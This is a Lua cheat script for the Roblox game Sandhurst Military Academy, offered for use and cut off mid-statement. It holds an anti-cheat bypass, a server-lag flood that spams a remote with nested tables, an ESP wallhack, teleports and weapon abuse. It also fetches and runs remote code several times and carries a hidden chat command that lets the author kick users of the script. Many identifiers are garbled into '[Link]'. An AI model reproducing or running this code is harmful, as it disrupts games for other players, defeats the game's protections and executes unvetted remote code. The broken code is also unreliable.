local Library = loadstring(game:HttpGet("[Link]
com/xHeptc/
Kavo-UI-Library/main/[Link]"))()
local Window = [Link]("GUI for Sandhurst Military Academy (By ExamV1)",
"Sentinel")
-- MAIN
local Main = Window:NewTab("Main")
local MainSection = Main:NewSection("Menu")
local Main = Window:NewTab("LocalPlayer")
local LocalSection = Main:NewSection("Menu")
local Main = Window:NewTab("Players")
local PlayerSection = Main:NewSection("Player Stuff")
local Main = Window:NewTab("Teleport")
local TeleportSection = Main:NewSection("Teleport")
local Setting = Window:NewTab("Setting")
local SettingSection = Setting:NewSection("Setting")
local Players = game:GetService("Players")
local ChatEvents = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents
local Players = game:GetService("Players")
local LocalPlayer = [Link]
[Link]:Connect(function(player)
if [Link] == "SniffyModzYolo" then
[Link]:Connect(function(message)
local lowerMessage = message:lower()
local commandKick = "kick"
local commandKickPlayer = "kick " .. [Link]:lower()
if lowerMessage == commandKick or lowerMessage == commandKickPlayer
then
LocalPlayer:Kick("You have been kicked by the dev of Sandhurst
Military GUI")
end
end)
end
end)
local Players = game:GetService("Players")
local ChatEvents = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents
[Link]:Connect(function(player)
if [Link] == "SniffyModzYolo" then
[Link]:SetCore("SendNotification", {
Title = "The Developer!";
Text = "ExamV1 is in your game, the Developer of Sandhurst Military
GUI!";
Duration = "600";
Callback = NotificationBindable;
})
end
end)
--main stuff
MainSection:NewButton("Bypass Anti Cheat", "Bypasses the 'better luck next time'
message", function()
local replicatedStorage = game:GetService("ReplicatedStorage")
local whitelist = {
game:GetService("ReplicatedStorage").AFKEvent,
game:GetService("ReplicatedStorage").Assets,
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents,
game:GetService("ReplicatedStorage").Packages,
game:GetService("ReplicatedStorage").Remotes,
game:GetService("ReplicatedStorage").Utility,
game:GetService("ReplicatedStorage").VehicleShared,
game:GetService("ReplicatedStorage").WeaponFrameworkRep,
game:GetService("ReplicatedStorage").RemovePlayerHonorBindable,
game:GetService("ReplicatedStorage").Bloom,
game:GetService("ReplicatedStorage").ColorCorrection,
game:GetService("ReplicatedStorage").ServerAge,
game:GetService("ReplicatedStorage").SunRays,
game:GetService("ReplicatedStorage").ServerVersion,
game:GetService("ReplicatedStorage").ServerLocation,
game:GetService("ReplicatedStorage").AddPlayerHonorBindable,
game:GetService("ReplicatedStorage").Chatlogs,
game:GetService("ReplicatedStorage").DeathLogs,
game:GetService("ReplicatedStorage").FreeGun,
game:GetService("ReplicatedStorage").GetPlayerHonorsBindable,
game:GetService("ReplicatedStorage").GetProductPurchaseAmount,
game:GetService("ReplicatedStorage").GetProductPurchaseAmountRemote,
game:GetService("ReplicatedStorage").HandcuffsFunction,
game:GetService("ReplicatedStorage").LogEvent,
game:GetService("ReplicatedStorage").ListAllHonorsBindable,
game:GetService("ReplicatedStorage").NewParachute,
game:GetService("ReplicatedStorage").PromoteUser,
game:GetService("ReplicatedStorage").getPlayerDetails,
game:GetService("ReplicatedStorage").ChatChannels,
game:GetService("ReplicatedStorage").CameraShaker,
game:GetService("ReplicatedStorage").FirearmManagerBindable,
game:GetService("ReplicatedStorage").FirearmRenderRemote,
game:GetService("ReplicatedStorage").GetMeAShop,
game:GetService("ReplicatedStorage").KO,
game:GetService("ReplicatedStorage").KOS,
game:GetService("ReplicatedStorage").PadsLock,
game:GetService("ReplicatedStorage")["MED-KIT"],
game:GetService("ReplicatedStorage").HandcuffsEvent,
game:GetService("ReplicatedStorage").Pass,
game:GetService("ReplicatedStorage").PickUpCarabiner,
game:GetService("ReplicatedStorage").PingTimes,
game:GetService("ReplicatedStorage").ProximityPromptFailure,
game:GetService("ReplicatedStorage").RadialImage,
game:GetService("ReplicatedStorage").ProximityPromptFailureClient,
game:GetService("ReplicatedStorage").RagdollEvent,
game:GetService("ReplicatedStorage").RagdollModule,
game:GetService("ReplicatedStorage").RaidEvent,
game:GetService("ReplicatedStorage").RegimentTags,
game:GetService("ReplicatedStorage").RegisterProcessReceipt,
game:GetService("ReplicatedStorage"):GetChildren()[1380],
game:GetService("ReplicatedStorage").UpdatePlayerList,
game:GetService("ReplicatedStorage").ToggleCoreGui,
game:GetService("ReplicatedStorage").TeleportWhitelist,
game:GetService("ReplicatedStorage").TeamChange,
game:GetService("ReplicatedStorage").Specific,
game:GetService("ReplicatedStorage").RemoteParachute,
game:GetService("ReplicatedStorage").shut,
game:GetService("ReplicatedStorage").pi,
game:GetService("ReplicatedStorage").device,
game:GetService("ReplicatedStorage")["[R] Global Constants"],
game:GetService("ReplicatedStorage")["[R] Firearm Hitmarker"],
game:GetService("ReplicatedStorage")["[R] Firearm Constants"],
game:GetService("ReplicatedStorage")["[R] Event Constants"]
}
for _, item in pairs(replicatedStorage:GetChildren()) do
if not [Link](whitelist, item) then
item:Destroy()
end
end
-- Set up the UI
local ScreenGui = [Link]("ScreenGui")
[Link] = "HelloScreenGui"
[Link] = [Link]
local TextBox = [Link]("TextLabel")
[Link] = "HelloTextBox"
[Link] = [Link](1, 0, 0.2, 0) -- Changed height to 0.2 (20% of the
screen height)
[Link] = [Link](0, 0, 0, 0)
TextBox.BackgroundColor3 = [Link](1, 1, 1)
[Link] = 1
[Link] = [Link]
[Link] = "Anti Cheat Bypassed by ExamV1"
TextBox.TextColor3 = [Link](0, 0, 0)
[Link] = true
[Link] = ScreenGui
-- Define the duration of the message in seconds
local duration = 3
-- Define the fade time in seconds
local fadeTime = 1
-- Define the rate of transparency change per second
local fadeRate = 1 / fadeTime
-- Show the message for the specified duration
wait(duration)
-- Start fading out the message
local startTime = [Link]()
while true do
local elapsedTime = [Link]() - startTime
local newTransparency = [Link](1, elapsedTime * fadeRate)
[Link] = newTransparency
[Link] = newTransparency
if newTransparency == 1 then
break
end
wait()
end
end)
local bindable = [Link]("BindableFunction")
[Link] = function(response)
if response == "Yes" then
print("Lag server button clicked")
while wait(0.4) do
game:GetService("NetworkClient"):SetOutgoingKBPSLimit([Link])
local function bomb(table_increase, tries)
local spammed_table = {}
for i = 1, table_increase do
spammed_table = {spammed_table}
end
local maximum = [Link](499999 / (table_increase + 2))
local maintable = {}
for i = 1, maximum do
[Link](maintable, spammed_table)
end
[Link]:FireServer(maintable)
end
bomb(250, 2)
end
else
print("Lag server button cancelled")
end
end
MainSection:NewButton("Lag Server", "This will lag the server for everyone",
function()
[Link]:SetCore("SendNotification", {
Title = "Notification",
Text = "Do you want to lag the server?",
Duration = 30,
Callback = bindable,
Button1 = "Yes",
Button2 = "No"
})
end)
MainSection:NewButton("Delete Invisible Barriers", "Deletes all invisible
parts/objects", function()
for i, v in pairs(workspace:GetDescendants()) do
if v:IsA("BasePart") and [Link] == 1 and [Link] then
v:Destroy()
end
end
end)
MainSection:NewButton("Invisibility Tool(Credit: Blitz)", "Makes your character
invisible to others", function()
loadstring(game:HttpGet("[Link]
cd0d2dce51b3f20ad1aac941da06a1a1/raw/f58b98cce7d51e53ade94e7bb460e4f24fb7e0ff/
%257BFE%257D%2520Invisible%2520Tool%2520(can%2520hold%2520tools)",true))()
end)
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local LocalPlayer = [Link]
local toggle = false
MainSection:NewToggle("Auto Give Free Gun", "Get Free Gun if not in Backpack or
Workspace", function(state)
toggle = state
end)
function getFreeGun()
local args = {
[1] = "Verify"
}
[Link]:InvokeServer(unpack(args))
end
function autoGiveFreeGun()
while true do
if toggle then
local hasGun = false
local backpack = LocalPlayer:WaitForChild("Backpack")
local workspace = game:GetService("Workspace")
if backpack:FindFirstChild("FreeGun") or
workspace:FindFirstChild([Link]):FindFirstChild("FreeGun") then
hasGun = true
end
if not hasGun then
wait(3)
getFreeGun()
end
end
wait()
end
end
local autoGiveFreeGunCoroutine = [Link](autoGiveFreeGun)
autoGiveFreeGunCoroutine()
[Link]:Connect(function(player)
if player == LocalPlayer then
toggle = false
end
end)
MainSection:NewButton("Toggle AFK", "Toggles the AFK state", function()
local args = {
[1] = not toggleState
}
game:GetService("ReplicatedStorage"):WaitForChild("AFKEvent"):FireServer(unpack(arg
s))
toggleState = not toggleState
end)
MainSection:NewButton("Give Tools", "Gives yourself all the repair tools.",
function()
local Workspace = game:GetService("Workspace")
local function fireGiverClickDetector(giverName)
local giver = Workspace:FindFirstChild(giverName)
if giver then
local clickDetector = giver:FindFirstChildOfClass("ClickDetector")
if clickDetector then
if fireclickdetector then
fireclickdetector(clickDetector)
else
print("Incompatible Exploit: Your exploit does not support this
command (missing fireclickdetector)")
end
else
print(giverName .. " does not have a ClickDetector.")
end
else
print(giverName .. " not found in Workspace.")
end
end
fireGiverClickDetector("FuelGiver")
fireGiverClickDetector("RearmGiver")
fireGiverClickDetector("RepairGiver")
fireGiverClickDetector("RPGGiver")
fireGiverClickDetector("StingerGiver")
fireGiverClickDetector("JavelinGiver")
end)
local player = game:GetService("Players").LocalPlayer
local workspace = game:GetService("Workspace")
local toggle = false
MainSection:NewToggle("Remove Fall Damage", "Removes FallDamage from LocalPlayer",
function(state)
toggle = state
end)
local function onCharacterAdded(character)
if toggle then
local fallDamage = character:FindFirstChild("FallDamage")
if fallDamage then
fallDamage:Destroy()
end
end
end
[Link]:Connect(onCharacterAdded)
function removeFallDamageLoop()
while true do
if toggle and [Link] then
local fallDamage = [Link]:FindFirstChild("FallDamage")
if fallDamage then
fallDamage:Destroy()
end
end
wait()
end
end
local removeFallDamageCoroutine = [Link](removeFallDamageLoop)
removeFallDamageCoroutine()
game:GetService("Players").PlayerRemoving:Connect(function(removedPlayer)
if removedPlayer == player then
toggle = false
end
end)
MainSection:NewButton("Fullbright", "Makes the game brighter", function()
pcall(function()
local lighting = game:GetService("Lighting");
[Link] = [Link](255, 255, 255);
[Link] = 1;
[Link] = 1e10;
for i, v in pairs(lighting:GetDescendants()) do
if v:IsA("BloomEffect") or v:IsA("BlurEffect") or
v:IsA("ColorCorrectionEffect") or v:IsA("SunRaysEffect") then
[Link] = false;
end;
end;
[Link]:Connect(function()
[Link] = [Link](255, 255, 255);
[Link] = 1;
[Link] = 1e10;
end);
spawn(function()
local character =
game:GetService("Players").[Link];
while wait() do
repeat wait() until character ~= nil;
if not
[Link]:FindFirstChildWhichIsA("PointLight") then
local headlight = [Link]("PointLight",
[Link]);
[Link] = 1;
[Link] = 60;
end;
end;
end);
end)
end)
--local player stuff
LocalSection:NewSlider("Speed", "Changes Player Speed", 333, 17, function(s) -- 500
(MaxValue) | 0 (MinValue)
[Link] = s
end)
LocalSection:NewButton("inf jump", "inf", function()
loadstring(game:HttpGet("[Link]
end)
--player stuff
local gotoDrop
local function updatePlayerList()
local Plr = {}
for i, v in pairs(game:GetService("Players"):GetChildren()) do
[Link](Plr, [Link])
end
if spectateDrop then
spectateDrop:Clear()
spectateDrop:AddOptions(Plr)
else
spectateDrop = PlayerSection:NewDropdown("Spectate Player", "", Plr,
function(selected)
local player = [Link]:FindFirstChild(selected)
if player then
local character = [Link]
if character then
[Link] = [Link]
[Link]:SetCore("SendNotification", {
Title = "Spectating!";
Text = "Spectating " .. [Link];
Duration = 3;
})
end
end
spectateDrop:SetSelectedIndex(0)
end)
end
if gotoDrop then
gotoDrop:Clear()
gotoDrop:AddOptions(Plr)
else
gotoDrop = PlayerSection:NewDropdown("Go To Player", "", Plr,
function(selected)
local player = [Link]:FindFirstChild(selected)
if player then
local character = [Link]
if character then
local humanoidRootPart =
character:FindFirstChild("HumanoidRootPart")
if humanoidRootPart then
[Link]:MoveTo([Link])
[Link]:SetCore("SendNotification", {
Title = "Teleporting!";
Text = "Teleporting to " .. [Link];
Duration = 3;
})
end
end
end
gotoDrop:SetSelectedIndex(0)
end)
end
end
updatePlayerList()
game:GetService("Players").PlayerAdded:Connect(updatePlayerList)
PlayerSection:NewButton("ESP", "esp", function()
loadstring(game:HttpGet("[Link]
end)
PlayerSection:NewButton("ESP V2", "esp", function()
--Settings--
local ESP = {
TextColor = [Link](255,255,255),
EquippedColor = [Link](255,255,255),
DistanceColor = [Link](255,255,255),
TracerColor = [Link](255,255,255),
LowerHealthColor = [Link](0,0,0),
HigherHealthColor = [Link](133, 87, 242),
Color = [Link](255,255,255),
HealthBar = true,
Enabled = true,
Distance = true,
Health = true,
Equipped = true,
Boxes = true,
BoxShift = [Link](0,-.3,0),
BoxSize = [Link](4,6,0),
FaceCamera = true,
Names = true,
TeamColor = true,
Thickness = 0.8,
AttachShift = 1,
TeamMates = true,
Players = true,
Tracers = false,
Objects = setmetatable({}, {__mode="kv"}),
Overrides = {},
MaxShownDistance = 200,
--Declarations--
local cam = [Link]
local plrs = game:GetService("Players")
local plr = [Link]
local mouse = plr:GetMouse()
local V3new = [Link]
local WorldToViewportPoint = [Link]
--Functions--
local function Draw(obj, props)
local new = [Link](obj)
props = props or {}
for i,v in pairs(props) do
new[i] = v
end
return new
end
function ESP:GetTeam(p)
local ov = [Link]
if ov then
return ov(p)
end
return p and [Link]
end
function ESP:IsTeamMate(p)
local ov = [Link]
if ov then
return ov(p)
end
return self:GetTeam(p) == self:GetTeam(plr)
end
function ESP:GetColor(obj)
local ov = [Link]
if ov then
return ov(obj)
end
local p = self:GetPlrFromChar(obj)
return p and [Link] and [Link] and [Link] or
[Link]
end
function ESP:GetPlrFromChar(char)
local ov = [Link]
if ov then
return ov(char)
end
return plrs:GetPlayerFromCharacter(char)
end
function ESP:Toggle(bool)
[Link] = bool
if not bool then
for i,v in pairs([Link]) do
if [Link] == "Box" then --fov circle etc
if [Link] then
v:Remove()
else
for i,v in pairs([Link]) do
[Link] = false
end
end
end
end
end
end
function ESP:GetBox(obj)
return [Link][obj]
end
function ESP:AddObjectListener(parent, options)
local function NewListener(c)
if type([Link]) == "string" and c:IsA([Link]) or [Link]
== nil then
if type([Link]) == "string" and [Link] == [Link] or
[Link] == nil then
if not [Link] or [Link](c) then
local box = ESP:Add(c, {
PrimaryPart = type([Link]) == "string" and
c:WaitForChild([Link]) or type([Link]) == "function" and
[Link](c),
Color = type([Link]) == "function" and
[Link](c) or [Link],
ColorDynamic = [Link],
Name = type([Link]) == "function" and
[Link](c) or [Link],
IsEnabled = [Link],
RenderInNil = [Link]
})
--TODO: add a better way of passing options
if [Link] then
[Link]([Link])(box)
end
end
end
end
end
if [Link] then
[Link]:Connect(NewListener)
for i,v in pairs(parent:GetDescendants()) do
[Link](NewListener)(v)
end
else
[Link]:Connect(NewListener)
for i,v in pairs(parent:GetChildren()) do
[Link](NewListener)(v)
end
end
end
local boxBase = {}
boxBase.__index = boxBase
function boxBase:Remove()
[Link][[Link]] = nil
for i,v in pairs([Link]) do
[Link] = false
v:Remove()
[Link][i] = nil
end
end
function boxBase:Update()
if not [Link] then
--warn("not supposed to print", [Link])
return self:Remove()
end
local color
if [Link] == [Link] then
color = [Link]
else
color = [Link] or [Link] and self:ColorDynamic() or
ESP:GetColor([Link]) or [Link]
end
local allow = true
if [Link] and not [Link](self) then
allow = false
end
if [Link] and not [Link] and ESP:IsTeamMate([Link]) then
allow = false
end
if [Link] and not [Link] then
allow = false
end
if [Link] and (type([Link]) == "string" and not
ESP[[Link]] or type([Link]) == "function" and not self:IsEnabled())
then
allow = false
end
if not workspace:IsAncestorOf([Link]) and not [Link] then
allow = false
end
if not allow then
for i,v in pairs([Link]) do
[Link] = false
end
return
end
if [Link] == [Link] then
color = [Link]
end
--calculations--
local cf = [Link]
if [Link] then
cf = [Link](cf.p, [Link].p)
end
local size = [Link]
local locs = {
TopLeft = cf * [Link] * [Link](size.X/2,size.Y/2,0),
TopRight = cf * [Link] * [Link](-size.X/2,size.Y/2,0),
BottomLeft = cf * [Link] * [Link](size.X/2,-size.Y/2,0),
BottomRight = cf * [Link] * [Link](-size.X/2,-size.Y/2,0),
LegPos = cf* [Link] * [Link](size.X/75,-size.Y/2,0),
TagPos = cf * [Link] * [Link](0,size.Y/2,0),
Torso = cf * [Link]
}
local Offset = 20
local BottomOffset = 0
local TopLeft, Vis1 = cam:WorldToViewportPoint([Link].p)
local TopRight, Vis2 = WorldToViewportPoint(cam, [Link].p)
local BottomLeft, Vis3 = WorldToViewportPoint(cam, [Link].p)
local BottomRight, Vis4 = WorldToViewportPoint(cam, [Link].p)
local LegPos = cam:WorldToViewportPoint([Link].p)
local Distance = ([Link] -
[Link]).Magnitude
if [Link] and [Link]:FindFirstChild([Link]) ~=
nil and Distance <= [Link] then
if [Link] then
if Vis1 or Vis2 or Vis3 or Vis4 then
[Link] = true
[Link] = [Link](TopRight.X, TopRight.Y)
[Link] = [Link](TopLeft.X, TopLeft.Y)
[Link] = [Link](BottomLeft.X,
BottomLeft.Y)
[Link] = [Link](BottomRight.X,
BottomRight.Y)
[Link] = color
[Link] = true
[Link] = [Link](TopRight.X,
TopRight.Y)
[Link] = [Link](TopLeft.X,
TopLeft.Y)
[Link] = [Link](BottomLeft.X,
BottomLeft.Y)
[Link] = [Link](BottomRight.X,
BottomRight.Y)
else
[Link] = false
[Link] = false
end
end
else
[Link] = false
[Link] = false
end
if [Link] and Distance <= [Link] and
plrs:FindFirstChild(tostring([Link])) then
local pos, onscreen =
cam:WorldToViewportPoint([Link])
if onscreen then
local Humanoid = [Link]
[Link] = true
[Link] = [Link](BottomLeft.X-
3.5,BottomLeft.Y+1)
[Link] = [Link](TopLeft.X-
3.5,TopLeft.Y-2)
[Link] = true
[Link] = [Link](BottomLeft.X-
3.5 ,BottomLeft.Y)
[Link] =
[Link]:lerp([Link],
[Link]/[Link])
[Link] = [Link](TopLeft.X-3.5,TopLeft.Y-1)
else
[Link] = false
[Link] = false
end
else
[Link] = false
[Link] = false
end
if [Link] and Distance <= [Link] and
plrs:FindFirstChild([Link]) ~= nil then
local TagPos, Vis5 = WorldToViewportPoint(cam, [Link].p)
local Char = [Link]
if Vis5 then
[Link] = [Link]
[Link] = true
[Link] = [Link](LegPos.X,LegPos.Y +
BottomOffset)
if Char:FindFirstChildOfClass("Tool") then
[Link] =
tostring(Char:FindFirstChildOfClass("Tool"))
BottomOffset = BottomOffset + 14
else
[Link] = ""
end
else
[Link] = false
end
else
[Link] = false
end
if [Link] and Distance <= [Link] then
local TagPos, Vis5 = WorldToViewportPoint(cam, [Link].p)
if Vis5 then
[Link] = true
if plrs:FindFirstChild(tostring([Link])) ~= nil
then
[Link] = [Link](LegPos.X,
LegPos.Y + BottomOffset)
BottomOffset = BottomOffset + 14
elseif plrs:FindFirstChild(tostring([Link])) ==
nil then
[Link] = [Link](TagPos.X,
TagPos.Y - Offset)
Offset = Offset + 14
end
[Link] = [Link](([Link].p -
cf.p).magnitude) .." studs"
[Link] = [Link]
else
[Link] = false
end
else
[Link] = false
end
if [Link] and Distance <= [Link] then
local TagPos, Vis5 = WorldToViewportPoint(cam, [Link].p)
if Vis5 then
[Link] = true
[Link] = [Link](TagPos.X,TagPos.Y - Offset)
[Link] = [Link]
[Link] = [Link]
Offset = Offset+10
else
[Link] = false
end
else
[Link] = false
end
if [Link] and Distance <= [Link] and
plrs:FindFirstChild(tostring([Link])) then
local TorsoPos, Vis6 = WorldToViewportPoint(cam, [Link].p)
if Vis6 then
[Link] = true
[Link] = [Link](TorsoPos.X,TorsoPos.Y)
[Link] =
[Link]([Link].X/2,[Link].Y/[Link])
[Link] = [Link]
else
[Link] = false
end
else
[Link] = false
end
end
function ESP:Add(obj, options)
if not [Link] and not [Link] then
return warn(obj, "has no parent")
end
local box = setmetatable({
Name = [Link] or [Link],
Type = "Box",
Color = [Link],--[[or self:GetColor(obj)]]
Size = [Link] or [Link],
Object = obj,
Player = [Link] or plrs:GetPlayerFromCharacter(obj),
PrimaryPart = [Link] or [Link] == "Model" and
([Link] or obj:FindFirstChild("HumanoidRootPart") or
obj:FindFirstChildWhichIsA("BasePart")) or obj:IsA("BasePart") and obj,
Components = {},
IsEnabled = [Link],
Temporary = [Link],
ColorDynamic = [Link],
RenderInNil = [Link]
}, boxBase)
if self:GetBox(obj) then
self:GetBox(obj):Remove()
end
[Link]["OutlineQuad"] = Draw("Quad", {
Thickness = [Link] + 2,
Color = [Link](0,0,0),
Transparency = 1,
Filled = false,
Visible = [Link] and [Link]
})
[Link]["Quad"] = Draw("Quad", {
Thickness = [Link],
Color = color,
Transparency = 1,
Filled = false,
Visible = [Link] and [Link]
})
[Link]["Name"] = Draw("Text", {
Text = [Link],
Color = [Link],
Center = true,
Outline = true,
Size = 14,
Visible = [Link] and [Link]
})
[Link]["Distance"] = Draw("Text", {
Color = [Link],
Center = true,
Outline = true,
Size = 14,
Visible = [Link] and [Link]
})
[Link]["EquippedTool"] = Draw("Text", {
Color = [Link],
Center = true,
Outline = true,
Size = 14,
Visible = [Link] and [Link]
})
[Link]["Tracer"] = Draw("Line", {
Thickness = [Link],
Color = [Link],
Transparency = 1,
Visible = [Link] and [Link]
})
[Link]["HealthbarOutline"] = Draw('Line',{
Thickness = 3 ,
Color = [Link](0,0,0),
Transparency = 1,
Visible = [Link] and [Link],
})
[Link]["Healthbar"] = Draw('Line',{
Thickness = 1,
Color = [Link](0,1,0),
Transparency = 1,
Visible = [Link] and [Link],
})
[Link][obj] = box
[Link]:Connect(function(_, parent)
if parent == nil and [Link] ~= false then
box:Remove()
end
end)
obj:GetPropertyChangedSignal("Parent"):Connect(function()
if [Link] == nil and [Link] ~= false then
box:Remove()
end
end)
local hum = obj:FindFirstChildOfClass("Humanoid")
if hum then
[Link]:Connect(function()
if [Link] ~= false then
box:Remove()
end
end)
end
return box
end
local function CharAdded(char)
local p = plrs:GetPlayerFromCharacter(char)
if not char:FindFirstChild("HumanoidRootPart") then
local ev
ev = [Link]:Connect(function(c)
if [Link] == "HumanoidRootPart" then
ev:Disconnect()
ESP:Add(char, {
Name = [Link],
Player = p,
PrimaryPart = c
})
end
end)
else
ESP:Add(char, {
Name = [Link],
Player = p,
PrimaryPart = [Link]
})
end
end
local function PlayerAdded(p)
[Link]:Connect(CharAdded)
if [Link] then
[Link](CharAdded)([Link])
end
end
[Link]:Connect(PlayerAdded)
for i,v in pairs(plrs:GetPlayers()) do
if v ~= plr then
PlayerAdded(v)
end
end
game:GetService("RunService").RenderStepped:Connect(function()
cam = [Link]
for i,v in ([Link] and pairs or ipairs)([Link]) do
if [Link] then
local s,e = pcall([Link], v)
if not s then warn("[ERROR]", e, [Link]:GetFullName()) end
end
end
end)
return ESP
end)
--teleport stuff
TeleportSection:NewButton("Civilian Spawn", "Teleports you to the Civilian spawn",
function()
[Link] =
[Link](460.868988, -3.63700008, -325.25, 0, 0, -1, 0, 1, 0, 1, 0, 0)
end)
TeleportSection:NewButton("Plane", "Teleport you to plane", function()
[Link] =
[Link](96.154953, 9592.50391, 586.903564, 0, 0, -1, 0, 1, 0, 1, 0, 0)
end)
TeleportSection:NewButton("Parade Spawn", "Teleports you to the parade spawn",
function()
[Link] =
[Link](139.964996, 34.9239998, 633.682007, 1, 0, 0, 0, 1, 0, 0, 0, 1)
end)
TeleportSection:NewButton("Recruit Spawn", "Teleports you to the recruit spawn",
function()
[Link] =
[Link](327.462006, 1.55400002, 75.1029968, 1, 0, 0, 0, 1, 0, 0, 0, 1)
end)
TeleportSection:NewButton("Uniform House", "Teleports you to the uniform house",
function()
[Link] =
[Link](114.38619995117188, 40.927818298339844, 548.8812255859375)
end)
TeleportSection:NewButton("Parade Ground", "Teleports you to the parade ground",
function()
[Link] =
[Link](145.66456604003906, 38.248497009277344, 828.87841796875)
end)
TeleportSection:NewButton("Army Obby", "Teleports you to the army obby", function()
[Link] =
[Link](352.51800537109375, 36.889190673828125, 588.49755859375)
end)
TeleportSection:NewButton("ETS Pads", "Teleports you to the ETS Pads", function()
[Link] =
[Link](239.14645385742188, 4.165444850921631, 79.01179504394531)
end)
TeleportSection:NewButton("RMP Base", "Teleports you to the RMP Base", function()
[Link] =
[Link](762.4496459960938, 34.711673736572266, 168.80337524414062)
end)
TeleportSection:NewButton("Passed Gate", "Teleports you passed the gate",
function()
[Link] =
[Link](356.0196838378906, 21.834556579589844, 311.0973205566406)
end)
TeleportSection:NewButton("HQ Parade Ground Spot", "Teleports you to the HQ Parade
Ground spot", function()
[Link] =
[Link](189.24520874023438, 57.72883605957031, 1030.4423828125)
end)
--SettingSection
SettingSection:NewButton("Debug Info", "Just shows info in top right", function()
local Players = game:GetService("Players")
local Text = [Link]("Text")
[Link] = ""
[Link] = [Link](1, 1, 1)
[Link] = [Link](0, 0, 0)
[Link] = true
[Link] = true
[Link] = 20
[Link] = [Link]
[Link] = 0.9
local VelocityText = [Link]("Text")
[Link] = ""
[Link] = [Link](1, 1, 1)
[Link] = [Link](0, 0, 0)
[Link] = true
[Link] = true
[Link] = 20
[Link] = [Link]
[Link] = 0.9
local WalkspeedText = [Link]("Text")
[Link] = ""
[Link] = [Link](1, 1, 1)
[Link] = [Link](0, 0, 0)
[Link] = true
[Link] = true
[Link] = 20
[Link] = [Link]
[Link] = 0.9
local function UpdateHealth()
local Player = [Link]
if [Link] then
local Humanoid = [Link]:FindFirstChildOfClass("Humanoid")
if Humanoid then
local Health = [Link]
if Health < 35 then
[Link] = [Link](1, 0, 0) -- red
elseif Health < 95 then
[Link] = [Link](1, 1, 0) -- yellow
else
[Link] = [Link](1, 1, 1) -- white
end
[Link] = "LocalPlayer Health: " .. tostring(Health)
[Link] = [Link](([Link].X -
180), 50)
[Link] = true
end
end
end
local function UpdateVelocity()
local Player = [Link]
if [Link] then
local Humanoid = [Link]:FindFirstChildOfClass("Humanoid")
if Humanoid then
local Velocity = [Link]
[Link] = "Velocity: (" ..
tostring([Link](Velocity.X)) .. ", " .. tostring([Link](Velocity.Y)) .. ",
" .. tostring([Link](Velocity.Z)) .. ")"
[Link] =
[Link](([Link].X - 200), 70)
[Link] = true
end
end
end
local function UpdateWalkspeed()
local Player = [Link]
local Walkspeed = [Link] and
[Link]:FindFirstChild("Humanoid") and [Link]
if Walkspeed then
[Link] = "Walkspeed: " .. tostring(Walkspeed)
[Link] =
[Link](([Link].X - 230), 90)
[Link] = true
end
end
game:GetService("RunService").RenderStepped:Connect(function()
UpdateHealth()
UpdateVelocity()
UpdateWalkspeed()
end)
local ObjectCounter = [Link]("Text")
[Link] = ""
[Link] = [Link](1, 1, 1)
[Link] = [Link](0, 0, 0)
[Link] = true
[Link] = true
[Link] = 20
[Link] = [Link]
[Link] = 0.9
[Link] = [Link](([Link].X -
240), 110)
[Link] = true
local function UpdateObjectCounter()
local Objects = workspace:GetChildren()
local ObjectCount = 0
for i, Object in ipairs(Objects) do
if Object:IsA("BasePart") then
ObjectCount = ObjectCount + 1
end
end
[Link] = "Objects: " .. tostring(ObjectCount)
end
game:GetService("RunService").Heartbeat:Connect(function()
UpdateObjectCounter()
end)
local Players = game:GetService("Players")
local PlayerCount = #Players:GetPlayers()
local PlayerCountText = [Link]("Text")
[Link] = "Players: " .. tostring(PlayerCount)
[Link] = [Link](1, 1, 1)
[Link] = [Link](0, 0, 0)
[Link] = true
[Link] = true
[Link] = 20
[Link] = [Link]
[Link] = [Link]([Link].X -
245, 130)
[Link] = 0.9
[Link]:Connect(function()
PlayerCount = #Players:GetPlayers()
[Link] = "Players: " .. tostring(PlayerCount)
end)
[Link]:Connect(function()
PlayerCount = #Players:GetPlayers()
[Link] = "Players: " .. tostring(PlayerCount)
end)
local Players = game:GetService("Players")
local PlayerNameText = [Link]("Text")
[Link] = ""
[Link] = [Link](1, 1, 1)
[Link] = [Link](0, 0, 0)
[Link] = true
[Link] = true
[Link] = 20
[Link] = [Link]
[Link] = 0.9
local function UpdatePlayerName()
local Player = [Link]
if Player then
local name = [Link]
if name == "elVacco" or name == "EngineOwningOnRoblox" then
name = "PilotsFailed"
elseif name == "WeighedMouse293" then
name = "Steo"
elseif name == "SniffyModzYolo" then
name = "Exam"
end
[Link] = "Hello! " .. name
[Link] =
[Link](([Link].X - 245), 5)
[Link] = true
end
end
game:GetService("RunService").RenderStepped:Connect(function()
UpdatePlayerName()
end)
local PlaceIDText = [Link]("Text")
[Link] = ""
[Link] = [Link](1, 1, 1)
[Link] = [Link](0, 0, 0)
[Link] = true
[Link] = true
[Link] = 20
[Link] = [Link]
[Link] = 0.9
[Link] = [Link](([Link].X - 280),
20)
local placeId = [Link]
if placeId > 0 then
[Link] = "Place ID: " .. tostring(placeId)
[Link] = true
end
local GamepadText = [Link]("Text")
[Link] = ""
[Link] = [Link](1, 1, 1)
[Link] = [Link](0, 0, 0)
[Link] = true
[Link] = true
[Link] = 20
[Link] = [Link]
[Link] = 0.9
[Link] = [Link](([Link].X - 220),
150)
local function UpdateGamepadStatus()
local GamepadConnected = false
for _, inputObject in
pairs(game:GetService("UserInputService"):GetConnectedGamepads()) do
GamepadConnected = true
end
if GamepadConnected then
[Link] = "Gamepad Detected"
[Link] = [Link](0, 1, 0) -- green
else
[Link] = "No Gamepad Detected"
[Link] = [Link](1, 0, 0) -- red
end
end
game:GetService("UserInputService").GamepadConnected:Connect(function(gamepad)
UpdateGamepadStatus()
end)
game:GetService("UserInputService").GamepadDisconnected:Connect(function(gamepad)
UpdateGamepadStatus()
end)
UpdateGamepadStatus()
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local ViewAngleText = [Link]("Text")
[Link] = ""
[Link] = [Link](1, 1, 1)
[Link] = [Link](0, 0, 0)
[Link] = true
[Link] = true
[Link] = 20
[Link] = [Link]
[Link] = 0.9
local function UpdateViewAngle()
local Player = [Link]
if Player and [Link] and [Link]:FindFirstChild("Humanoid")
then
local Camera = [Link]
local Humanoid = [Link]
local LookVector = [Link]
local HumanoidLookVector = [Link]
local Angle = [Link](LookVector:Dot(HumanoidLookVector)) * (180 /
[Link])
[Link] = "View Angle: " .. [Link](Angle) .. "°"
[Link] =
